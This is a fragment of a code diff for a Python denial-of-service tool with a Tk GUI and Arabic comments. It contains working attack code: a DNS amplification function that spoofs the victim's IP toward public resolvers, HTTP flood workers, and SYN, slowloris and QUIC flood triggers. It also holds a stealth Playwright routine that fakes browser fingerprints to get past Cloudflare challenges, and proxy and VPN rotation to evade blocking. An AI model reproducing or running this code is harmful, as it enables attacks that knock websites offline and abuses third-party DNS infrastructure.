if self.random_query:
|
| 3807 |
-
if '?' in path:
|
| 3808 |
-
path += f"&_{random.randint(1,999999)}"
|
| 3809 |
-
else:
|
| 3810 |
-
path += f"?_{random.randint(1,999999)}"
|
| 3811 |
-
if self.http_method == "POST":
|
| 3812 |
-
body = AIPayloadGenerator.generate_json_data(random.choice(["login", "comment", "search"]))
|
| 3813 |
-
headers["Content-Type"] = "application/json"
|
| 3814 |
-
data = body.encode('utf-8')
|
| 3815 |
-
else:
|
| 3816 |
-
data = None
|
| 3817 |
-
else:
|
| 3818 |
-
if self.random_query:
|
| 3819 |
-
if '?' in path:
|
| 3820 |
-
path += f"&_{random.randint(1,999999)}"
|
| 3821 |
-
else:
|
| 3822 |
-
path += f"?_{random.randint(1,999999)}"
|
| 3823 |
-
if self.http_method == "POST":
|
| 3824 |
-
body = AIPayloadGenerator.generate_json_data(random.choice(["login", "comment", "search"]))
|
| 3825 |
-
headers["Content-Type"] = "application/json"
|
| 3826 |
-
data = body.encode('utf-8')
|
| 3827 |
url = f"{self.scheme}://{self.host}{path}"
|
| 3828 |
if self.use_js_bypass:
|
| 3829 |
url = add_api_bypass(url)
|
|
@@ -3885,15 +3674,13 @@ class UltimateIntegratedEngine:
|
|
| 3885 |
self.proxy_engine.mark_dead(_raw_proxy)
|
| 3886 |
continue # retry with different proxy
|
| 3887 |
break # success or non-proxy 403, don't retry
|
| 3888 |
-
|
| 3889 |
-
|
| 3890 |
-
|
| 3891 |
-
|
| 3892 |
-
|
| 3893 |
-
|
| 3894 |
-
|
| 3895 |
-
self._log(traceback.format_exc(), "ERROR")
|
| 3896 |
-
await asyncio.sleep(1)
|
| 3897 |
async def _handle_response(self, status: int, content_len: int = 0, latency_ms: float = 0.0):
|
| 3898 |
with self.lock:
|
| 3899 |
self.stats[f'status_{status}'] += 1
|
|
@@ -3943,11 +3730,7 @@ class UltimateIntegratedEngine:
|
|
| 3943 |
self._log(f"[!] HTTP/2 disabled because requested threads ({self.requested_threads}) exceed 100. Using HTTP/1.1 for stability.", "WARNING")
|
| 3944 |
self._log(f"🔥 Starting integrated attack on {self.target}", "ATTACK")
|
| 3945 |
self._log(f"🧵 Threads: {self.threads} | Duration: {self.duration}s", "INFO")
|
| 3946 |
-
|
| 3947 |
-
self._log("🌐 Starting browser-based flood (real browsers)...", "ATTACK")
|
| 3948 |
-
workers = [asyncio.create_task(self._browser_worker(i)) for i in range(min(self.threads, 50))]
|
| 3949 |
-
else:
|
| 3950 |
-
workers = [asyncio.create_task(self._attack_worker(i)) for i in range(self.threads)]
|
| 3951 |
self.workers = workers
|
| 3952 |
self.loop = asyncio.get_running_loop()
|
| 3953 |
try:
|
|
@@ -4040,8 +3823,6 @@ class UltimateIntegratedGUI:
|
|
| 4040 |
self.use_tcp_spoof = tk.BooleanVar(value=True)
|
| 4041 |
self.use_ai_payload = tk.BooleanVar(value=True)
|
| 4042 |
self.use_captcha = tk.BooleanVar(value=True)
|
| 4043 |
-
self.dns_amplify = tk.BooleanVar(value=False)
|
| 4044 |
-
self.ns_attack = tk.BooleanVar(value=False)
|
| 4045 |
|
| 4046 |
self.use_keepalive = tk.BooleanVar(value=True)
|
| 4047 |
self.use_http2 = tk.BooleanVar(value=False)
|
|
@@ -4213,6 +3994,8 @@ class UltimateIntegratedGUI:
|
|
| 4213 |
self.auto_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
|
| 4214 |
self.stop_btn = ttk.Button(control_buttons, text='STOP', command=self.stop_attack, style='Danger.TButton', state=tk.DISABLED)
|
| 4215 |
self.stop_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
|
|
|
|
|
|
|
| 4216 |
|
| 4217 |
options_card = ttk.Labelframe(left_panel, text='Quick Options', padding=14, style='Card.TLabelframe')
|
| 4218 |
options_card.pack(fill=tk.X, expand=False, pady=(12, 0))
|
|
@@ -4224,8 +4007,6 @@ class UltimateIntegratedGUI:
|
|
| 4224 |
('Human Timing', self.use_human_timing),
|
| 4225 |
('TLS Spoof', self.use_cffi),
|
| 4226 |
('JS Bypass (API)', self.use_js_bypass),
|
| 4227 |
-
('DNS Amplify', self.dns_amplify),
|
| 4228 |
-
('NS Attack', self.ns_attack),
|
| 4229 |
('TCP Spoof', self.use_tcp_spoof),
|
| 4230 |
('AI Payload', self.use_ai_payload),
|
| 4231 |
('CAPTCHA', self.use_captcha),
|
|
@@ -4347,33 +4128,25 @@ class UltimateIntegratedGUI:
|
|
| 4347 |
self.log(f"📁 Proxy file loaded: {filename}", "INFO")
|
| 4348 |
def set_max_load(self):
|
| 4349 |
self.mode_var.set("Integrated")
|
| 4350 |
-
self.threads.set(
|
| 4351 |
self.duration.set(0)
|
| 4352 |
-
self.requests.set(
|
| 4353 |
-
self.method.set("
|
| 4354 |
self.request_rate.set(0)
|
| 4355 |
self.vpn_mode.set("System Default")
|
| 4356 |
-
|
| 4357 |
self.use_identities.set(True)
|
| 4358 |
-
self.use_human_timing.set(
|
| 4359 |
self.use_cffi.set(True)
|
| 4360 |
-
self.use_js_bypass.set(
|
| 4361 |
-
self.use_tcp_spoof.set(
|
| 4362 |
self.use_ai_payload.set(True)
|
| 4363 |
self.use_captcha.set(False)
|
|
|
|
| 4364 |
self.use_keepalive.set(True)
|
| 4365 |
-
self.use_http2.set(False)
|
| 4366 |
-
self.use_random_query.set(True)
|
| 4367 |
self.max_load.set(True)
|
| 4368 |
-
|
| 4369 |
-
self.
|
| 4370 |
-
self.
|
| 4371 |
-
self.dns_amplify.set(False)
|
| 4372 |
-
self.ns_attack.set(False)
|
| 4373 |
-
|
| 4374 |
-
if hasattr(self, 'current_impersonate'):
|
| 4375 |
-
self.current_impersonate = random.choice(self.impersonate_list)
|
| 4376 |
-
self.log("🧠 SMART MAX LOAD ACTIVATED: 1500 Workers, 4-Vector WP Attack, JS Bypass ON, TLS Spoof ON.", "SUCCESS")
|
| 4377 |
|
| 4378 |
def _find_executable(self, names, extra_paths=None):
|
| 4379 |
found = []
|
|
@@ -5070,8 +4843,6 @@ class UltimateIntegratedGUI:
|
|
| 5070 |
use_tcp_spoof=self.use_tcp_spoof.get(),
|
| 5071 |
use_ai_payload=self.use_ai_payload.get(),
|
| 5072 |
use_captcha=self.use_captcha.get(),
|
| 5073 |
-
dns_amplify=self.dns_amplify.get(),
|
| 5074 |
-
ns_attack=self.ns_attack.get(),
|
| 5075 |
|
| 5076 |
keepalive=self.use_keepalive.get(),
|
| 5077 |
use_http2=self.use_http2.get(),
|
|
|
|
| 24 |
except Exception:
|
| 25 |
pass
|
| 26 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 27 |
required_packages = ["aiohttp", "requests", "h2", "uvloop", "aioquic", "beautifulsoup4", "curl_cffi", "scapy", "httpx", "websockets", "redis", "fastapi", "uvicorn", "apscheduler", "pywinauto"]
|
| 28 |
if platform.system() == "Windows":
|
| 29 |
try:
|
|
|
|
| 1659 |
return sent
|
| 1660 |
|
| 1661 |
|
| 1662 |
+
def dns_amplification_attack(target_ip: str, target_port: int = 53, count: int = 1000):
|
| 1663 |
+
"""هجوم تضخيم DNS (يتطلب صلاحيات Admin لـ Spoofing)"""
|
| 1664 |
+
if not SCAPY_AVAILABLE:
|
| 1665 |
+
print("[!] Scapy missing for DNS amplification")
|
| 1666 |
+
return
|
| 1667 |
+
from scapy.all import IP, UDP, DNS, DNSQR, send
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1668 |
|
| 1669 |
+
resolvers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222", "185.228.168.168"]
|
| 1670 |
+
domains = ["isc.org", "google.com", "microsoft.com", "facebook.com", "cloudflare.com"]
|
| 1671 |
|
| 1672 |
+
sent = 0
|
| 1673 |
+
for _ in range(count):
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1674 |
try:
|
| 1675 |
+
pkt = IP(src=target_ip, dst=random.choice(resolvers)) / \
|
| 1676 |
+
UDP(sport=random.randint(1024, 65535), dport=target_port) / \
|
| 1677 |
+
DNS(rd=1, qd=DNSQR(qname=random.choice(domains), qtype="ANY"))
|
| 1678 |
+
send(pkt, verbose=False)
|
| 1679 |
+
sent += 1
|
| 1680 |
except Exception:
|
| 1681 |
+
pass
|
| 1682 |
+
print(f"[+] DNS Amplification sent {sent} spoofed packets to {target_ip}")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1683 |
|
| 1684 |
class VPNRotator:
|
| 1685 |
WARP_CLI_PATHS = [
|
|
|
|
| 1754 |
|
| 1755 |
|
| 1756 |
def get_playwright_clearance(url: str, identity: SessionIdentity = None) -> dict[str, str]:
|
| 1757 |
+
"""
|
| 1758 |
+
حل تحدي Cloudflare باستخدام Playwright مع تقنيات تخفي متقدمة.
|
| 1759 |
+
ترجع كوكيز cf_clearance وUser-Agent المستخدم.
|
| 1760 |
+
"""
|
| 1761 |
+
if not PLAYWRIGHT_AVAILABLE:
|
| 1762 |
+
return {}
|
| 1763 |
+
|
| 1764 |
+
# استخدام lock لتجنب تشغيل عدة متصفحات في نفس الوقت (عند استخدام تعدد الخيوط)
|
| 1765 |
+
if not hasattr(get_playwright_clearance, "_lock"):
|
| 1766 |
+
get_playwright_clearance._lock = threading.Lock()
|
| 1767 |
+
|
| 1768 |
+
# قفل لمنع تنافس Playwright على الموارد
|
| 1769 |
+
with get_playwright_clearance._lock:
|
| 1770 |
+
try:
|
| 1771 |
+
from playwright.sync_api import sync_playwright
|
| 1772 |
+
except ImportError:
|
| 1773 |
+
return {}
|
| 1774 |
+
|
| 1775 |
+
result = {}
|
| 1776 |
+
try:
|
| 1777 |
+
with sync_playwright() as p:
|
| 1778 |
+
# إعدادات المتصفح للتخفي
|
| 1779 |
+
browser = p.chromium.launch(
|
| 1780 |
+
headless=True,
|
| 1781 |
+
args=[
|
| 1782 |
+
'--disable-blink-features=AutomationControlled',
|
| 1783 |
+
'--disable-dev-shm-usage',
|
| 1784 |
+
'--no-sandbox',
|
| 1785 |
+
'--disable-setuid-sandbox',
|
| 1786 |
+
'--disable-web-security',
|
| 1787 |
+
'--disable-features=IsolateOrigins,site-per-process',
|
| 1788 |
+
'--disable-sync',
|
| 1789 |
+
'--disable-default-apps',
|
| 1790 |
+
'--disable-extensions',
|
| 1791 |
+
'--disable-component-extensions-with-background-pages',
|
| 1792 |
+
'--disable-client-side-phishing-detection',
|
| 1793 |
+
'--disable-crash-reporter',
|
| 1794 |
+
'--disable-background-timer-throttling',
|
| 1795 |
+
'--disable-backgrounding-occluded-windows',
|
| 1796 |
+
'--disable-renderer-backgrounding',
|
| 1797 |
+
'--disable-field-trial-config',
|
| 1798 |
+
'--disable-ipc-flooding-protection',
|
| 1799 |
+
'--disable-popup-blocking',
|
| 1800 |
+
'--disable-prompt-on-repost',
|
| 1801 |
+
'--disable-hang-monitor',
|
| 1802 |
+
'--disable-back-forward-cache',
|
| 1803 |
+
'--disable-features=BackForwardCache',
|
| 1804 |
+
'--disable-background-networking',
|
| 1805 |
+
'--disable-component-update',
|
| 1806 |
+
'--metrics-recording-only',
|
| 1807 |
+
'--disable-breakpad',
|
| 1808 |
+
'--mute-audio',
|
| 1809 |
+
'--no-default-browser-check',
|
| 1810 |
+
'--no-first-run',
|
| 1811 |
+
'--disable-boot-animation',
|
| 1812 |
+
'--disable-logging',
|
| 1813 |
+
'--remote-debugging-port=0',
|
| 1814 |
+
'--window-size=1920,1080',
|
| 1815 |
+
]
|
| 1816 |
+
)
|
| 1817 |
+
|
| 1818 |
+
# سياق المتصفح مع إعدادات وكيل (إن وجد)
|
| 1819 |
+
context_options = {
|
| 1820 |
+
'viewport': {'width': 1920, 'height': 1080},
|
| 1821 |
+
'user_agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
|
| 1822 |
+
'locale': 'en-US',
|
| 1823 |
+
'timezone_id': 'America/New_York',
|
| 1824 |
+
'permissions': ['geolocation'],
|
| 1825 |
+
'device_scale_factor': 1,
|
| 1826 |
+
'color_scheme': 'light',
|
| 1827 |
+
'extra_http_headers': {
|
| 1828 |
+
'Accept-Language': 'en-US,en;q=0.9',
|
| 1829 |
+
'Accept-Encoding': 'gzip, deflate, br',
|
| 1830 |
+
'Sec-Ch-Ua': '"Chromium";v="126", "Not=A?Brand";v="99", "Google Chrome";v="126"',
|
| 1831 |
+
'Sec-Ch-Ua-Mobile': '?0',
|
| 1832 |
+
'Sec-Ch-Ua-Platform': '"Windows"',
|
| 1833 |
+
}
|
| 1834 |
+
}
|
| 1835 |
+
|
| 1836 |
+
if identity and getattr(identity, 'proxy', None):
|
| 1837 |
+
context_options['proxy'] = {'server': identity.proxy}
|
| 1838 |
+
|
| 1839 |
+
context = browser.new_context(**context_options)
|
| 1840 |
+
|
| 1841 |
+
# حقن سكربت التخفي الإضافي (لإخفاء webdriver و vm)
|
| 1842 |
+
context.add_init_script("""
|
| 1843 |
+
Object.defineProperty(navigator, 'webdriver', {get: () => undefined});
|
| 1844 |
+
Object.defineProperty(navigator, 'plugins', {get: () => [1,2,3,4,5]});
|
| 1845 |
+
Object.defineProperty(navigator, 'languages', {get: () => ['en-US', 'en']});
|
| 1846 |
+
window.chrome = { runtime: {} };
|
| 1847 |
+
// إخفاء بصمة الـ Virtual Machine
|
| 1848 |
+
const originalGetParameter = WebGLRenderingContext.prototype.getParameter;
|
| 1849 |
+
WebGLRenderingContext.prototype.getParameter = function(parameter) {
|
| 1850 |
+
if (parameter === 37445) return 'Intel Inc.';
|
| 1851 |
+
if (parameter === 37446) return 'Intel Iris OpenGL Engine';
|
| 1852 |
+
if (parameter === 3415) return 'Google Inc. (NVIDIA)';
|
| 1853 |
+
return originalGetParameter(parameter);
|
| 1854 |
+
};
|
| 1855 |
+
// تزويغ Canvas Fingerprint
|
| 1856 |
+
const originalToDataURL = HTMLCanvasElement.prototype.toDataURL;
|
| 1857 |
+
HTMLCanvasElement.prototype.toDataURL = function(type) {
|
| 1858 |
+
if (type === 'image/png') {
|
| 1859 |
+
const context = this.getContext('2d');
|
| 1860 |
+
const imageData = context.getImageData(0, 0, this.width, this.height);
|
| 1861 |
+
for (let i = 0; i < imageData.data.length; i += 4) {
|
| 1862 |
+
imageData.data[i] = Math.min(255, imageData.data[i] + Math.floor(Math.random() * 2));
|
| 1863 |
+
}
|
| 1864 |
+
context.putImageData(imageData, 0, 0);
|
| 1865 |
+
}
|
| 1866 |
+
return originalToDataURL.apply(this, arguments);
|
| 1867 |
+
};
|
| 1868 |
+
""")
|
| 1869 |
+
|
| 1870 |
+
page = context.new_page()
|
| 1871 |
+
|
| 1872 |
+
# محاكاة حركة الفأرة والتمرير
|
| 1873 |
+
page.mouse.move(random.randint(100, 500), random.randint(100, 500))
|
| 1874 |
+
page.mouse.wheel(0, random.randint(100, 300))
|
| 1875 |
+
page.wait_for_timeout(random.randint(500, 1500))
|
| 1876 |
+
|
| 1877 |
+
# تحميل الصفحة (زيادة المهلة لضمان حل التحدي)
|
| 1878 |
+
page.goto(url, wait_until="networkidle", timeout=60000)
|
| 1879 |
+
|
| 1880 |
+
# الانتظار حتى يختفي تحدي Cloudflare (إن وجد)
|
| 1881 |
+
try:
|
| 1882 |
+
page.wait_for_selector("#challenge-running", state="hidden", timeout=30000)
|
| 1883 |
+
except Exception:
|
| 1884 |
+
pass
|
| 1885 |
+
|
| 1886 |
+
# مزيد من التمرير
|
| 1887 |
+
for _ in range(random.randint(2, 5)):
|
| 1888 |
+
page.mouse.wheel(0, random.randint(200, 600))
|
| 1889 |
+
page.wait_for_timeout(random.randint(200, 500))
|
| 1890 |
+
|
| 1891 |
+
# جلب الكوكيز بعد حل التحدي
|
| 1892 |
+
cookies = context.cookies()
|
| 1893 |
+
cookie_dict = {c['name']: c['value'] for c in cookies}
|
| 1894 |
+
ua = context_options['user_agent']
|
| 1895 |
+
|
| 1896 |
+
if 'cf_clearance' in cookie_dict and identity and hasattr(identity, 'cookie_jar'):
|
| 1897 |
+
try:
|
| 1898 |
+
for name, value in cookie_dict.items():
|
| 1899 |
+
cookie = http.cookiejar.Cookie(
|
| 1900 |
+
version=0, name=name, value=value,
|
| 1901 |
+
port=None, port_specified=False,
|
| 1902 |
+
domain='', domain_specified=False, domain_initial_dot=False,
|
| 1903 |
+
path='/', path_specified=True, secure=False,
|
| 1904 |
+
expires=None, discard=True, comment=None, comment_url=None, rest={}
|
| 1905 |
+
)
|
| 1906 |
+
identity.cookie_jar.set_cookie(cookie)
|
| 1907 |
+
except Exception:
|
| 1908 |
+
pass
|
| 1909 |
+
|
| 1910 |
+
browser.close()
|
| 1911 |
+
|
| 1912 |
+
if 'cf_clearance' in cookie_dict:
|
| 1913 |
+
result = {'cookies': cookie_dict, 'ua': ua}
|
| 1914 |
+
else:
|
| 1915 |
+
pass
|
| 1916 |
+
|
| 1917 |
+
except Exception as e:
|
| 1918 |
+
# في حالة الخطأ، نسجل ولكن نستمر
|
| 1919 |
+
print(f"[!] Playwright clearance error: {e}")
|
| 1920 |
+
|
| 1921 |
+
return result
|
| 1922 |
|
| 1923 |
# ============================================================================
|
| 1924 |
# دوال مساعدة لـ HTTP والهجمات الكلاسيكية
|
|
|
|
| 2879 |
|
| 2880 |
|
| 2881 |
class EnhancedPlaywrightBypass:
|
| 2882 |
+
"""Improved Playwright bypass with human-like interactions."""
|
| 2883 |
+
|
| 2884 |
@staticmethod
|
| 2885 |
+
def solve_js_challenge(url: str, headless: bool = False) -> dict:
|
| 2886 |
result = {"headers": {}, "cookie_header": "", "content": ""}
|
| 2887 |
try:
|
| 2888 |
+
from playwright.sync_api import sync_playwright
|
| 2889 |
+
|
| 2890 |
with sync_playwright() as p:
|
| 2891 |
+
browser = p.chromium.launch(headless=headless)
|
| 2892 |
+
device = random.choice([
|
| 2893 |
+
p.devices["Desktop Chrome"],
|
| 2894 |
+
p.devices["Desktop Firefox"],
|
| 2895 |
+
p.devices["iPhone 13"],
|
| 2896 |
+
])
|
| 2897 |
+
|
| 2898 |
+
context = browser.new_context(**device)
|
|
|
|
| 2899 |
page = context.new_page()
|
| 2900 |
+
page.set_viewport_size({"width": random.randint(1366, 1920), "height": random.randint(768, 1080)})
|
| 2901 |
+
page.goto(url, wait_until="networkidle", timeout=30000)
|
| 2902 |
+
time.sleep(random.uniform(1, 3))
|
| 2903 |
+
page.mouse.move(random.randint(100, 500), random.randint(100, 500))
|
| 2904 |
+
time.sleep(random.uniform(0.5, 2))
|
| 2905 |
try:
|
| 2906 |
+
page.wait_for_selector("[name*='challenge'], [id*='challenge'], [class*='challenge']", timeout=5000)
|
| 2907 |
except Exception:
|
| 2908 |
pass
|
| 2909 |
+
time.sleep(random.uniform(2, 5))
|
| 2910 |
+
result["content"] = page.content()
|
| 2911 |
+
result["headers"] = {
|
| 2912 |
+
"User-Agent": device.get("user_agent", random.choice(USER_AGENTS)),
|
| 2913 |
+
"Accept-Language": device.get("locale", "en-US,en;q=0.9"),
|
| 2914 |
+
"Accept": device.get("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
|
| 2915 |
+
"Accept-Encoding": "gzip, deflate, br",
|
| 2916 |
+
"Upgrade-Insecure-Requests": "1",
|
| 2917 |
+
"Sec-CH-UA": device.get("user_agent", "\"Chromium\";v=\"124\""),
|
| 2918 |
+
"Sec-CH-UA-Mobile": device.get("mobile", "?0"),
|
| 2919 |
+
"Sec-CH-UA-Platform": device.get("platform", "Windows"),
|
| 2920 |
+
}
|
| 2921 |
cookies = context.cookies()
|
| 2922 |
+
if cookies:
|
| 2923 |
+
result["cookie_header"] = "; ".join(f"{c['name']}={c['value']}" for c in cookies if c.get('name') and c.get('value'))
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 2924 |
browser.close()
|
| 2925 |
+
except Exception:
|
| 2926 |
+
pass
|
| 2927 |
return result
|
| 2928 |
|
| 2929 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 2930 |
|
| 2931 |
def http_flood(url: str, total_requests: int, workers: int, method: str, payload: str, rate: float, duration: float, extra_headers: bool, use_playwright: bool, keepalive: bool, random_query: bool, app_mode: bool, logger, identity_pool: IdentityPool = None, human_timing: bool = False, use_cffi: bool = False, tcp_spoof: bool = False, ai_payload: bool = False, use_js_bypass: bool = False):
|
| 2932 |
mode_name = "http-app" if app_mode else "http"
|
|
|
|
| 3432 |
|
| 3433 |
|
| 3434 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3435 |
class UltimateIntegratedEngine:
|
| 3436 |
def __init__(self, target: str, threads: int = 1000, duration: int = 0,
|
| 3437 |
use_identities: bool = True, use_human_timing: bool = True,
|
|
|
|
| 3454 |
self.max_requests = max(0, total_requests)
|
| 3455 |
self.max_load = max_load
|
| 3456 |
self.attack_mode = attack_mode.lower()
|
|
|
|
| 3457 |
self.running = False
|
| 3458 |
self.stop_requested = False
|
| 3459 |
self.stats = defaultdict(int)
|
|
|
|
| 3481 |
self.use_cffi = use_cffi and CURL_CFFI_AVAILABLE
|
| 3482 |
self.use_js_bypass = use_js_bypass and PLAYWRIGHT_AVAILABLE
|
| 3483 |
self.use_http2 = use_http2
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3484 |
self.vpn_rotator = None
|
| 3485 |
if vpn_mode and vpn_mode != "System Default":
|
| 3486 |
self.vpn_rotator = VPNRotator(vpn_mode=vpn_mode, interval_seconds=300)
|
|
|
|
| 3531 |
timeout = aiohttp.ClientTimeout(total=10, connect=5, sock_read=5)
|
| 3532 |
self.session = aiohttp.ClientSession(connector=conn, timeout=timeout, trust_env=False)
|
| 3533 |
if self.use_cffi and CURL_CFFI_AVAILABLE:
|
| 3534 |
+
for _ in range(10): # Create 50 clients to prevent thread bottleneck and reduce latency
|
| 3535 |
+
for imp in ["chrome124", "chrome120", "chrome116", "edge101", "safari17_0"]:
|
| 3536 |
+
self.cffi_clients.append(cffi_requests.AsyncSession(impersonate=imp, verify=False, timeout=8))
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3537 |
await self._create_httpx_client()
|
| 3538 |
async def _create_httpx_client(self):
|
| 3539 |
if not HTTPX_AVAILABLE or not self.use_http2:
|
|
|
|
| 3548 |
self.httpx_client = httpx.AsyncClient(http2=True, limits=limits, timeout=timeout, verify=False, follow_redirects=True, trust_env=False)
|
| 3549 |
self._log(f"[⚡] HTTP/2 multiplexer: {max_httpx_connections} streams, {max_keepalive} keep-alive.", "INFO")
|
| 3550 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3551 |
async def _attack_worker(self, worker_id: int):
|
| 3552 |
+
while self.running and not self.stop_requested:
|
| 3553 |
+
try:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3554 |
identity = None
|
| 3555 |
if self.identity_pool:
|
| 3556 |
identity = self.identity_pool.get_identity()
|
|
|
|
| 3567 |
for h in ["Connection", "Keep-Alive", "Transfer-Encoding", "Host"]:
|
| 3568 |
headers.pop(h, None)
|
| 3569 |
headers.update(self._get_platform_headers())
|
|
|
|
|
|
|
| 3570 |
if "Host" in headers:
|
| 3571 |
del headers["Host"]
|
| 3572 |
if "host" in headers:
|
|
|
|
| 3580 |
target_host = self.host
|
| 3581 |
target_port = self.port
|
| 3582 |
if self.attack_mode == "tcp_syn":
|
| 3583 |
+
threading.Thread(target=flooder, args=(target_host, target_port, random._urandom(4096), datetime.datetime.now() + datetime.timedelta(seconds=max(1, self.duration or 10))), daemon=True).start()
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3584 |
elif self.attack_mode == "mine":
|
| 3585 |
threading.Thread(target=mine, args=(target_host, target_port, b"\x06\x00/\x00\x00\x00\x02\x0c\x00", datetime.datetime.now() + datetime.timedelta(seconds=max(1, self.duration or 10))), daemon=True).start()
|
| 3586 |
elif self.attack_mode == "vse":
|
|
|
|
| 3596 |
await asyncio.sleep(0.001)
|
| 3597 |
continue
|
| 3598 |
path = self.path
|
| 3599 |
+
if self.random_query:
|
| 3600 |
+
if '?' in path:
|
| 3601 |
+
path += f"&_{random.randint(1,999999)}"
|
| 3602 |
+
else:
|
| 3603 |
+
path += f"?_{random.randint(1,999999)}"
|
| 3604 |
method = self.http_method
|
| 3605 |
data = None
|
| 3606 |
+
if worker_id % 10 == 0 and random.random() < 0.1 and IS_ADMIN and SCAPY_AVAILABLE:
|
| 3607 |
+
threading.Thread(target=dns_amplification_attack, args=(self.host, 53, 100), daemon=True).start()
|
| 3608 |
+
if self.max_load and worker_id == 0 and random.random() < 0.01:
|
| 3609 |
+
threading.Thread(target=slowloris_attack, args=(self.host, self.port, 30, 2.0, 15.0, None), daemon=True).start()
|
| 3610 |
+
if self.max_load and worker_id == 1 and random.random() < 0.01:
|
| 3611 |
+
asyncio.create_task(quic_flood(self.host, self.port, 20))
|
| 3612 |
+
if self.http_method == "POST":
|
| 3613 |
+
body = AIPayloadGenerator.generate_json_data(random.choice(["login", "comment", "search"]))
|
| 3614 |
+
headers["Content-Type"] = "application/json"
|
| 3615 |
+
data = body.encode('utf-8')
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3616 |
url = f"{self.scheme}://{self.host}{path}"
|
| 3617 |
if self.use_js_bypass:
|
| 3618 |
url = add_api_bypass(url)
|
|
|
|
| 3674 |
self.proxy_engine.mark_dead(_raw_proxy)
|
| 3675 |
continue # retry with different proxy
|
| 3676 |
break # success or non-proxy 403, don't retry
|
| 3677 |
+
except asyncio.CancelledError:
|
| 3678 |
+
break
|
| 3679 |
+
except Exception as exc:
|
| 3680 |
+
if self.stop_requested:
|
| 3681 |
+
break
|
| 3682 |
+
